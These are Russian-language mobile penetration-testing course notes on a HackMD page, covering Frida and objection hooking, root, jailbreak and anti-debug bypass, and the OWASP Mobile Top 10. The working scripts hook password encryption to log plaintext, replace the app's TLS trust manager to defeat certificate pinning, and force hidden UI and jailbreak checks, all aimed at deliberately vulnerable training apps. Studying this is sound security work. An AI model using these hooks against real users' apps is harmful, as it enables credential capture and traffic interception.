Android Game, Android App - Latest Version, Old Versions, Android Tablet, Android Smart TV, Android Wear, armeabi-v7a, arm64-v8a, x86, x86_x64 - Free [22:11] Игорь Кривонос https://apps.evozi.com Evozi Apps - Landing Page [22:12] Игорь Кривонос https://m.apkpure.com/ru/ Загрузите APK Быстро, бесплатно и безопасно на Android. Скачайте apk для Android с помощью APKPure APK Downloader. Узнайте, что вы хотите проще, быстрее и безопаснее. # Занятие 9. Frida инструмент динамической pip3 install frida-tools https://frida.re/ frida-ps - процессы нашего компьютера frida - режим бога в системе инструмент позволяет делать инъекции кода https://github.com/frida/frida/releases/tag/16.0.1 скачиваем сервер вод свою операционку распаковали и переименовали бинарь cкачиваем фрида сервер на устройство /data/local/tmp shell emulator adb push frida-server /data/local/tmp cd /data/local/tmp chmod +x frida-server/ ./frida-server & - запустили фриду сервер ps -e | grep frida - проверка запущен ли процесс ![](https://i.imgur.com/jUjJ12Z.png) в домашнем терминале frida -U --pause -f com.grooming.mtop10 ![](https://i.imgur.com/fIlbH5A.png) ctrl + d - выйти из фриды получаем объект класса ![](https://i.imgur.com/b0DzScM.png) Меняем метод ![](https://i.imgur.com/2XT1Tb3.png) var File=Java.use('java.io.File'); File.exists.implementation= function(){console.log('hooked file');return false;} %resume - отпускает процесс приложения ![](https://i.imgur.com/L0MYquX.png) SU - ушло, обошли рут запускаем банк ![](https://i.imgur.com/vBrQ016.png) frida -U --pause -f com.android.insecurebankv2 Java.enumerateLoadedClasses({ onMatch: function(className) { if(className.includes("insecurebankv2")){ console.log(className); console.log("hello from hacker...."); } }, onComplete: function() {} }); } ); Java.perform(function () { var PostLogin = Java.use('com.android.insecurebankv2.PostLogin'); var doesSUexist = PostLogin.doesSUexist; doesSUexist.implementation = function () { console.log('Done: spoofing method doesSUexist'); return true; }; }); выводит в лог - пароль и его зашифрованную версию Java.perform(function () { var CryptoClass = Java.use('com.android.insecurebankv2.CryptoClass'); var aesEncryptedString = CryptoClass.aesEncryptedString; aesEncryptedString.implementation = function (v) { console.log('Done:' + v); return v; }; }); пример работы overLoad TextView.setText.overload('java.lang.CharSequence').implementation=function(v){this.setText(v);console. log("text="+v);} код с выводом в консоль зашифрованного пароля Java.perform(function () {   var CryptoClass = Java.use('com.android.insecurebankv2.CryptoClass');   var aesEncryptedString = CryptoClass.aesEncryptedString;   aesEncryptedString.overload('java.lang.String').implementation = function (v) {       var res = this.aesEncryptedString(v);     //send('password is ' + v);        console.log('Done raw:' + v);     console.log('Done encrypted:' + res);     return res;   }; }); java choose - позволяет джаве найти экземпляры классов Java.perform(function () { Java.scheduleOnMainThread(function () { var done=false; Java.choose("com.android.insecurebankv2.LoginActivity", { "onMatch":function(instance){ if(!done) { instance.createUser(); done=true; console.log("[*] Instance found, result: "); } }, "onComplete":function() { console.log("[*] Finished heap search") } }); }); }); название свойства.value - обращаемся к кнопочке Java.perform(function () { Java.scheduleOnMainThread(function () { var done=false; Java.choose("com.android.insecurebankv2.LoginActivity", { "onMatch":function(instance){ if(!done) { instance.createuser_buttons.value.setVisibility(0); done=true; console.log("[*] Instance found, result: "); } }, "onComplete":function() { console.log("[*] Finished heap search"); } }); }); }); adb push cacert.der /data/local/tmp/ ![](https://i.imgur.com/bEmMO6O.jpg) загрузка скрипта через фриду frida -U -f com.csy6.nopiningbuthttps -l unpin.js ``` [22:08] Игорь Кривонос setTimeout(function(){​​​​​     Java.perform(function (){​​​​​      console.log("");      console.log("[.] Cert Pinning Bypass/Re-Pinning");      var CertificateFactory = Java.use("java.security.cert.CertificateFactory");      var FileInputStream = Java.use("java.io.FileInputStream");      var BufferedInputStream = Java.use("java.io.BufferedInputStream");      var X509Certificate = Java.use("java.security.cert.X509Certificate");      var KeyStore = Java.use("java.security.KeyStore");      var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");      var SSLContext = Java.use("javax.net.ssl.SSLContext");// Load CAs from an InputStream      console.log("[+] Loading our CA...")      var cf = CertificateFactory.getInstance("X.509");      try {​​​​​       var fileInputStream = FileInputStream.$new("/data/local/tmp/cacert.der");      }​​​​​      catch(err) {​​​​​       console.log("[o] " + err);      }​​​​​     var bufferedInputStream = BufferedInputStream.$new(fileInputStream);     var ca = cf.generateCertificate(bufferedInputStream);      bufferedInputStream.close();var certInfo = Java.cast(ca, X509Certificate);      console.log("[o] Our CA Info: " + certInfo.getSubjectDN());// Create a KeyStore containing our trusted CAs      console.log("[+] Creating a KeyStore for our CA...");      var keyStoreType = KeyStore.getDefaultType();      var keyStore = KeyStore.getInstance(keyStoreType);      keyStore.load(null, null);      keyStore.setCertificateEntry("ca", ca);      // Create a TrustManager that trusts the CAs in our KeyStore      console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");      var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();      var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);      tmf.init(keyStore);      console.log("[+] Our TrustManager is ready...");console.log("[+] Hijacking SSLContext methods now...");      console.log("[-] Waiting for the app to invoke SSLContext.init()...");      SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {​​​​​       console.log("[o] App invoked javax.net.ssl.SSLContext.init...");       SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);       console.log("[+] SSLContext initialized with our custom TrustManager!");      }​​​​​     }​​​​​); }​​​​​,0); ``` piningencode [22:14] Игорь Кривонос frida -U -f com.csy6.piningincode -l unpin.js ![](https://i.imgur.com/ZneBUOk.png) Java.perform(function(){ var client = Java.use("com.squareup.okhttp.OkHttpClient"); client.setCertificatePinner.implementation = function(v){ return this; }; }); ![](https://i.imgur.com/nbCHFP3.png) # Lesson 10 Взаимолействие питона с фридой![](https://i.imgur.com/X6XiTwj.png) ![](https://i.imgur.com/UHUwqx7.png) проверка на рут - делаем рутанутым ![](https://i.imgur.com/FsRmIKk.png) Это необходимо для автоматизации фриды. Пример 2 Реализовано полное управление приложением через питон. ![](https://i.imgur.com/7LUBKdW.png) ![](https://i.imgur.com/xvPyk3N.png) когда обращаемся к свойству надо использовать value rpc.exports - словарь ![](https://i.imgur.com/nJbNT9l.png) название питоновских функций - в нижнем регистре. ИНструмент который автоматизирует работу с фридой. pip3 install objection https://github.com/sensepost/objection Полезен для IOS В плане мобилки - он полезен. запуск приложения objection -g com.grooming.mtop10 explore ![](https://i.imgur.com/KcdscjB.png) для запуска objection надо запустить фрида сервер на девайсе tab = открывает команды ![](https://i.imgur.com/cE961yY.png) путь к приложениям android root disable - большинство в приложениях рут обманывает (препод с этого начинает) ![](https://i.imgur.com/QgwtwRF.png) jobs list - показывает наши хуки ![](https://i.imgur.com/IEX6Fhc.png) задетектил Встроенный анпининг - в коде не уберет ![](https://i.imgur.com/RQ2X2Nt.png) нападение со всех сторон на приложение Возможность делать универсальные хуки. ![](https://i.imgur.com/XibhvuB.png) ![](https://i.imgur.com/YfudW6u.png) ![](https://i.imgur.com/mmkJP5h.png) подмена возвращающемого значения ![](https://i.imgur.com/Mry4V51.png) ![](https://i.imgur.com/i9IDElV.png) Этим инструментом можно быстро проверить приложение ## **OWASP** ![](https://i.imgur.com/9yW41Qt.png) ![](https://i.imgur.com/knw0TKF.png) ![](https://i.imgur.com/XtKUt1M.png) ![](https://i.imgur.com/6qEWuKV.jpg) ![](https://i.imgur.com/HyUS9Jf.png) Если не знаешь с чего начать - идешь в MSTG ![](https://i.imgur.com/O98S8B2.png) Важно перед тестированием собрать скоуп ![](https://i.imgur.com/xUUltuy.jpg) ![](https://i.imgur.com/aIEDRcJ.jpg) ![](https://i.imgur.com/P0sWe4o.png) Любое приложение должно соответствовать уроню L1 L2 - чувствительные данные ![](https://i.imgur.com/1pw79UL.png) ![](https://i.imgur.com/jAvTFhc.png) ![](https://i.imgur.com/3at3rS9.png) ![](https://i.imgur.com/gRz2Ord.png) ![](https://i.imgur.com/1T68dfR.jpg) М1 самая часто встречающ уязвимость можно запустить активность другим приложением ![](https://i.imgur.com/wmJL4lR.jpg) М2 Небезопасное храниение данных ![](https://i.imgur.com/W8F620M.jpg) ![](https://i.imgur.com/9XLDLAI.jpg) ![](https://i.imgur.com/LqMqCs5.jpg) ![](https://i.imgur.com/6baX8dh.jpg) ![](https://i.imgur.com/ihlQoab.jpg) М3 Небезопасная передача данных mitm ![](https://i.imgur.com/z4A5od8.jpg) ![](https://i.imgur.com/kDsw9Ro.jpg) М4 Небезопасная аутентификация ![](https://i.imgur.com/AossD1g.jpg) ![Uploading file..._m5l8mv1r3]() М5 не правильная криптография ![](https://i.imgur.com/Phucek5.png) (книга брюса шнай... о криптографии) ![](https://i.imgur.com/ApXI3hG.jpg) небезопасные алгоритмы - md5 & sha1 ![](https://i.imgur.com/NYGvL6I.jpg) M6 Небезопасная авторизация ![](https://i.imgur.com/ysOYxpm.jpg) ![](https://i.imgur.com/qt62em8.jpg) М7 Плохой код ![](https://i.imgur.com/kuX6MDD.png) ![](https://i.imgur.com/NSvSUqX.png) М8 Подделка кода ![](https://i.imgur.com/zCplB9C.jpg) ![](https://i.imgur.com/bPoayds.jpg) М9 Реверс приложений - возможность нахождения уязвимостей ![](https://i.imgur.com/2R3nDF0.png) М10 Скрытая функциональность ![](https://i.imgur.com/38WKouS.png) Книга - андроид глазами хакера # Hacking Tools ![](https://i.imgur.com/cr2zsPO.jpg) ![](https://i.imgur.com/WtXSQX0.jpg) ![](https://i.imgur.com/TXbG1IM.png) ![](https://i.imgur.com/AghAPH7.png) ![](https://i.imgur.com/n27MRN8.png) frida ![](https://i.imgur.com/kmw5h6G.png) ![](https://i.imgur.com/6iJhadY.png) ![](https://i.imgur.com/WdTQI3W.jpg) magisk - получаем рут а потом подключаем xposed ![](https://i.imgur.com/YqytEq6.png) автоматизированный инструмент анализа - начальная точка для аналитики приложения https://xakep.ru/2020/12/21/drozer/ ![](https://i.imgur.com/FQEqiA9.jpg) Готовая линукс машина с инструментами для андроида **Инструменты анализа** mobsf - бесплатный - с чего начать! ![](https://i.imgur.com/xjpkuYl.jpg) платный инструмент ![](https://i.imgur.com/vbFrsoo.png) глубоко анализирует код, у него есть блог ![](https://i.imgur.com/g1gC5xr.jpg) # IOS 11 lesson ![](https://i.imgur.com/RZTCIXJ.png) Jealbrake chackrain c macos & linux Cydia - найти OpenSSh и установить ![](https://i.imgur.com/o4tOKF3.png) WI-Fi ![](https://i.imgur.com/9f5oLXH.png) пароль alpine Iproxy ![](https://i.imgur.com/yZGOlZx.png) проброс портов ![](https://i.imgur.com/LjQ1QA1.png) linux: sudo apt install libusbmuxd-tools macos: brew install libimobiledevice ![](https://i.imgur.com/SWdiuC4.png) ![](https://i.imgur.com/13qrrL9.png) ![](https://i.imgur.com/YQHryk6.png) sudo apt-get install libplist-utils ## IOS file system ![](https://i.imgur.com/yFqjAvY.png) ![](https://i.imgur.com/Yg142L6.png) C большой буквы пришло с MacOS ![](https://i.imgur.com/xQS8BdK.jpg) ![](https://i.imgur.com/TsLqRWr.png) юзер айди приложений ls * - id & name ![](https://i.imgur.com/ds7inIU.png) ![](https://i.imgur.com/h3udkBA.png) -В 2 - показать 2 строчки до ![](https://i.imgur.com/gXALTLl.png) ![](https://i.imgur.com/8QpScTg.jpg) файлики приложения Нас интересует как пентестеров. - info.plist ( manifest for Ios) ![](https://i.imgur.com/yMDXpgJ.png) можно посмотреть какие диплинки работают ![](https://i.imgur.com/BRbdv0Z.png) plistutil -i Info.plist ![](https://i.imgur.com/LIdRYjC.jpg) Cамое интерессное - папка данных приложения ![](https://i.imgur.com/vljds3N.jpg) ![](https://i.imgur.com/pvJYoy3.jpg) ![](https://i.imgur.com/G74znuP.jpg) ![](https://i.imgur.com/1oJDiXk.png) если проект с гитхаба то юудет содержать embedded.mobileprovision самое интересное - папка с данными приложения ![](https://i.imgur.com/qEq99Es.jpg) ![](https://i.imgur.com/qutxBSW.png) ![](https://i.imgur.com/uBGp2N6.png) mobile-containers-file-application ![](https://i.imgur.com/4T9FOya.png) ![](https://i.imgur.com/rmbsXH4.png) core data- база данных / механизм для работы с БД ![](https://i.imgur.com/wRLzo5Y.png) ![](https://i.imgur.com/YmHtKV5.jpg) в механизмах ios общаться приложения друг дургом не могут- только url схема. Прилоожения общаются с помощью диплинков. https://cutter.re/ - программа для реверса ![](https://i.imgur.com/kPdP9TZ.png) ![](https://i.imgur.com/bYCGoDW.png) ![](https://i.imgur.com/nGVo4hh.jpg) ![](https://i.imgur.com/pzdnamB.jpg) ![](https://i.imgur.com/qDEPqMI.jpg) ![](https://i.imgur.com/bLRcZpK.jpg) ![](https://i.imgur.com/Nm4gA9n.jpg) ![](https://i.imgur.com/dYw3Q0m.png) ![](https://i.imgur.com/ISgzd7M.png) ![](https://i.imgur.com/U7WUVOU.png) ![](https://i.imgur.com/b2pdP4T.jpg) ![](https://i.imgur.com/AnKEd2R.jpg) ![](https://i.imgur.com/N7eu7eY.jpg) ![](https://i.imgur.com/Lt41T5g.jpg) ![](https://i.imgur.com/iunqepj.jpg) ![](https://i.imgur.com/D56iwkQ.jpg) ![](https://i.imgur.com/JtENYbR.png) ![](https://i.imgur.com/NrZk2H9.png) ![](https://i.imgur.com/1h66ENG.jpg) ![](https://i.imgur.com/P9U3Gp6.jpg) Для анализа нас инетерсует сегмент Текст и Дата # lesson 12 ![](https://i.imgur.com/mh2yo7W.png) ![](https://i.imgur.com/gcCvdBq.png) ![](https://i.imgur.com/S4WOCcq.png) ![](https://i.imgur.com/XCcazWp.png) Взаимодействие между приложениями может работать с помощю URL схем ![](https://i.imgur.com/c0zkBen.png) ![](https://i.imgur.com/uvM5lL7.png) ![](https://i.imgur.com/6xiNPsG.png) https://www.tutorialspoint.com/compile_objective-c_online.php `#import <Foundation/Foundation.h> @interface Point: NSObject{ float x; float y; } @property (nonatomic, readwrite) float x; @property (nonatomic, readwrite) float y; -(double) rvector; @end @implementation Point @synthesize x; @synthesize y; // funciton foo(int a,int b, float c){ dddddd return } -(id) init { self = [super init]; x = 0; y = 0; return self; } -(double) rvector { return x*x + y*y; } @end int main (int argc, const char * argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; NSLog (@"hello world"); Point * p1 = [[Point alloc] init]; NSLog(@"p1.x= %f", p1.x); NSLog(@"p1.y= %f", p1.y); [pool drain]; return 0; }` ``` #import <Foundation/Foundation.h> @interface Point: NSObject{ float x; float y; } @property (nonatomic, readwrite) float x; @property (nonatomic, readwrite) float y; -(double) rvector; @end @implementation Point @synthesize x; @synthesize y; // funciton foo(int a,int b, float c){ dddddd return } -(id) init { self = [super init]; x = 0; y = 0; return self; } -(id) initWithParametersX:(int)x Y:(int)y { self = [super init]; self.x = x; self.y = y; return self; } -(double) rvector { return x*x + y*y; } @end int main (int argc, const char * argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; NSLog (@"hello world"); Point * p1 = [[Point alloc] init]; Point * p2 = [[Point alloc] initWithParametersX:8 Y:6]; NSLog(@"p1.x= %f", p1.x); NSLog(@"p1.y= %f", p1.y); NSLog(@"p2.x= %f", p2.x); NSLog(@"p2.y= %f", p2.y); NSLog(@"p2.R= %f", [p2 rvector]); NSLog(@"class of Point= %@", [Point getClassName]); [pool drain]; return 0; } ``` ![](https://i.imgur.com/Y6DS7KD.png) ![](https://i.imgur.com/7OdepBQ.png) # lesson 13 Objective C https://www.tutorialspoint.com/compile_assembly_online.php ![](https://i.imgur.com/j0Z46WH.png) в стек можно положить и вытащить( в обратной последовательности) стек растет вниз ![](https://i.imgur.com/HPyFuxD.png) ``` section .text global _start ;must be declared for using gcc _start: ;tell linker entry point ; LIFO->push() pop() 1,2,3 -> 3,2,1 mov ecx, 0x5 loop_label: push ecx call _f pop ecx loop loop_label ;автоматически проверяет и уменьшает значение на 1 в х86 процессорах mov eax, 1 ;system call number (sys_exit) int 0x80 ;call kernel _f: mov edx, len ;message length mov ecx, msg ;message to write mov ebx, 1 ;file descriptor (stdout) mov eax, 4 ;system call number (sys_write) int 0x80 ;call kernel ret section .data msg db 'Hello, world!',0xa ;our dear string len equ $ - msg ;length of our dear string ``` ``` section    .text     global _start       ;must be declared for using gcc _start:                     ;tell linker entry point     call _f      mov    eax, 1        ;system call number (sys_exit)     int    0x80        ;call kernel _f:     mov ecx, 0x5     loop_label:     push ecx  ; i = ecx     mov    edx, len    ;message length     mov    ecx, msg    ;message to write     mov    ebx, 1        ;file descriptor (stdout)     mov    eax, 4        ;system call number (sys_write)     int    0x80        ;call kernel     pop ecx   ; ecx = i     loop loop_label     ret  section    .data msg    db    'Hello, world!',0xa    ;our dear string len    equ    $ - msg            ;length of our dear string ``` ``` section .text global _start ;must be declared for using gcc _start: ;tell linker entry point mov ecx, 0x5 push ecx call _f mov eax, 1 ;system call number (sys_exit) int 0x80 ;call kernel _f: mov ecx, [esp + 4] loop_label: push ecx ; i = ecx mov edx, len ;message length mov ecx, msg ;message to write mov ebx, 1 ;file descriptor (stdout) mov eax, 4 ;system call number (sys_write) int 0x80 ;call kernel pop ecx ; ecx = i loop loop_label ret section .data msg db 'Hello, world!',0xa ;our dear string len equ $ - msg ;length of our dear string ``` **lldb** debuger apt install lldb ![](https://i.imgur.com/Oe1scOR.png) ![](https://i.imgur.com/byVmSL7.png) ![](https://i.imgur.com/JWb9O0C.png) https://lldb.llvm.org/ ![](https://i.imgur.com/gPtCSKo.png) ![](https://i.imgur.com/Ebb8h8U.jpg) attach и номер процесса с - алиас для continue ![](https://i.imgur.com/a6NAO14.jpg) Исследование - брекпоинт ![](https://i.imgur.com/utG6IEU.png) ![](https://i.imgur.com/Wz274aH.png) ![](https://i.imgur.com/wTuwC8f.jpg) обходим проверку когда видим cbz - z это булево значение/ значит будет проверка ![](https://i.imgur.com/Rmv4lJw.png) Нам нужно в этот адрес внести поправку для брейкпоинта ![](https://i.imgur.com/2WjyJic.jpg) ![](https://i.imgur.com/Lhry2Hl.png) Начало нашего кода программы ![](https://i.imgur.com/6c5EvnM.png) смещение которое должны добавить в адресе Брекпоинт ![](https://i.imgur.com/wNdm6Mc.png) ![](https://i.imgur.com/uQ8NVeL.png) [20:57] Игорь Кривонос br set -a 0x100004578+ ![](https://i.imgur.com/xc6SQT3.png) register read - показывает все регистры нашего процесса ![](https://i.imgur.com/lIaqwqX.png) ![](https://i.imgur.com/fmMxhsx.png) смотрим 24 регистр ![](https://i.imgur.com/490HqaS.png) меняем на 1 отпускаем процесс ![](https://i.imgur.com/NMFLLUs.png) ![](https://i.imgur.com/1GGX1us.png) В айос есть антиотладка - ![](https://i.imgur.com/my0Xtsv.png) Код для вырубания приложения - если приложение аттачат ptrace 0x1f - константа https://habr.com/ru/post/513944/ ![](https://i.imgur.com/QrotcF8.png) ![](https://i.imgur.com/tVo5AH6.png) ![](https://i.imgur.com/v0ewTxX.png) ![](https://i.imgur.com/Ml7WqBh.png) ![](https://i.imgur.com/VpsOPJv.png) ![](https://i.imgur.com/pBh8EaW.png) ![](https://i.imgur.com/qFDYdrl.png) ![](https://i.imgur.com/zteCzgM.jpg) ![](https://i.imgur.com/4UnD0MN.png) ![](https://i.imgur.com/FYdWJgC.png) ![](https://i.imgur.com/62yT9W1.png) ![](https://i.imgur.com/h0dYoKG.png) ![](https://i.imgur.com/ixM6veL.png) ![](https://i.imgur.com/Sjmybf5.png) ![](https://i.imgur.com/8Xl2pTq.png) ![](https://i.imgur.com/5w1TkPQ.png) hardware - uuid сертификкат для каждой модели secure boot - чип, который нельзя обновить . Чекрейн делается через него. Стартует ядро и проверяет было ли оно изменено ![](https://i.imgur.com/QmyVzeP.png) ![](https://i.imgur.com/gQFwNU5.png) ![](https://i.imgur.com/ifb4u3o.png) ![](https://i.imgur.com/2MxmdLj.jpg) ![](https://i.imgur.com/pRVb51Q.jpg) ![](https://i.imgur.com/xGCXeK6.png) ![](https://i.imgur.com/jbA7IRZ.jpg) ![](https://i.imgur.com/dguNKVb.png) ![](https://i.imgur.com/QvO1QKl.jpg) # 14 lesson https://www.securitylab.ru/contest/429973.php ![](https://i.imgur.com/VURwU6i.jpg) ![](https://i.imgur.com/d47R4mp.jpg) Приложение работает в виртуальной памяти ![](https://i.imgur.com/vwiTHCh.jpg) ![](https://i.imgur.com/fThC61j.jpg) ![](https://i.imgur.com/JHG9ZLl.jpg) ![](https://i.imgur.com/aaCjl2t.png) ![](https://i.imgur.com/CeZg5kT.png) ![](https://i.imgur.com/lojaqrY.jpg) ![](https://i.imgur.com/SgbTGrO.jpg) ![](https://i.imgur.com/q6FYpEy.jpg) ![](https://i.imgur.com/SMcZjTn.jpg) ![](https://i.imgur.com/WZuj2u8.png) ![](https://i.imgur.com/XqW9H2W.png) ![](https://i.imgur.com/gAuw0Nb.png) ![](https://i.imgur.com/kq8luib.png) ![](https://i.imgur.com/IRZKbbP.png) ![](https://i.imgur.com/gS2hIxB.png) ![](https://i.imgur.com/FPDHUrT.jpg) ![](https://i.imgur.com/kAsNfMR.png) ssh root@192.168.1.8 - alpine (пароль) Приложение DviaV2 https://github.com/prateek147/DVIA-v2/tree/master/DVIA-v2/DVIA-v2/Vulnerabilities подключение по iproxy ![](https://i.imgur.com/i4EOMr6.png) Закидываем dVIA на устройство через scp ls */Library/Preferences | grep -i dvia -B 2 ![](https://i.imgur.com/J5z1BQj.png) ![](https://i.imgur.com/jVaNuCA.png) Устанавливаем фриду на телефон build.frida.re ![](https://i.imgur.com/cXDq6aG.png) откроем приложение через **objection** objection -g com.highaltitudehacks.DVIAswiftv2.3JW2H263BC explore смотрим открытые логи ![](https://i.imgur.com/njHzos0.png) Можем на мобиле через Филзу посмотреть открытае данные ![](https://i.imgur.com/qQZvHYZ.png) ![](https://i.imgur.com/ZyULJGx.png) ![](https://i.imgur.com/XXQxHVu.png) ![](https://i.imgur.com/UJ7GFHt.png) ОТдельная БД, которая шифруется ![](https://i.imgur.com/OOFbsBj.png) 1 variant ![](https://i.imgur.com/FA41OTo.jpg) Cмотрим инфу из БД ![](https://i.imgur.com/wCZBfbm.png) **Jailbreak Detection** ![](https://i.imgur.com/W0De8ts.png) ![](https://i.imgur.com/U5tUlyc.jpg) ![](https://i.imgur.com/DCCtLJF.png) поменяли проверку на рут ![](https://i.imgur.com/D2DyAmL.png) ![](https://i.imgur.com/MrRQ65o.png) ios hooking watch method "[JailbreakDetection isJailbroken]" [20:49] Игорь Кривонос ios hooking set return_value "+[JailbreakDetection isJailbroken]" 0x0 ![](https://i.imgur.com/kHswC0S.jpg) Берем лом в виде дебаггера, подменем значение ![](https://i.imgur.com/IwuCSoD.jpg) ![](https://i.imgur.com/5d2M4Bn.png) **idevice** способ слушать логи https://github.com/libimobiledevice/libimobiledevice # Lesson 14 ![](https://i.imgur.com/rGAZrcv.png) ![](https://i.imgur.com/FFddxec.png) ptrace 1f - антиотладка ios ![](https://i.imgur.com/RmbEOcO.png) вычисляем смещение ![](https://i.imgur.com/EKZeeAJ.png) Устанавливаем брейкпоинт по адресу - обход антиотладки ![](https://i.imgur.com/wCqgjEr.png) ![](https://i.imgur.com/ovrCgN8.png) ![](https://i.imgur.com/WILhKCw.png) ![](https://i.imgur.com/va8o9jl.png) Логи приложения ![](https://i.imgur.com/P6gIBIC.png) Буфер обмена доступен всем ![](https://i.imgur.com/AbL9oxW.png) **папка с датабазами от клавиатуры** cd /var/mobile/Library/Keyboard ![](https://i.imgur.com/wwSbbX8.png) iPhone:/var/mobile/Library/Keyboard/en-dynamic.lm root# cat dynamic-lexicon.dat Coockies ![](https://i.imgur.com/uekfFTe.png) plistutil -i info.plist - раскодируем проперти лист ccылка обработки функции (url схема) прилетает в application - appdelegate ![](https://i.imgur.com/JZSrQKj.png) приложение dvia может позвонить [20:02] Игорь Кривонос dvia://aaa.com/phone/call_number/12345678 ![](https://i.imgur.com/jcUPKsr.png) Можно расшифровать захардкоженный пароль ![](https://i.imgur.com/nwkFlF8.png) Генерация ключа с солью ![](https://i.imgur.com/zp4o3JV.png) **network layer security** ![](https://i.imgur.com/tG0CUvs.png) ![](https://i.imgur.com/f2Hznzc.png) подключаем сертификат бурпа в телефоне http://burp надо включить на мобиле сертификат - разрешить его использовать настройки - основные- об этом устройстве - доверие сертификату ![](https://i.imgur.com/u5RHd1W.png) ![](https://i.imgur.com/ApJY4vW.png) ![](https://i.imgur.com/g7tNXa9.png) Дампим память Приатачиваемся к приложению ![](https://i.imgur.com/nKMMNBA.png) ![](https://i.imgur.com/FaQHC9P.png) ![](https://i.imgur.com/kdiW68z.png) # Bug bounty пентеста мобилок www.hackerone.com MASVS - OWASP **карта действий** Нашел багу - записал! и скрин. # Список рекомендованных материалов 5 lesson Mobile Security Testing Guide: Introduction https://mobile-security.gitbook.io/mobile-security-testing-guide/ Introduction - Mobile AppSec Verification Standard https://mobile-security.gitbook.io/masvs/ 8 lesson MobSF/Mobile-Security-Framework-MobSF: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. https://github.com/MobSF/Mobile-Security-Framework-MobSF 11 lesson Mobile Security Testing Guide: Introduction https://mobile-security.gitbook.io/mobile-security-testing-guide/ 12 lesson Can I Jailbreak? - Home https://canijailbreak.com/

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully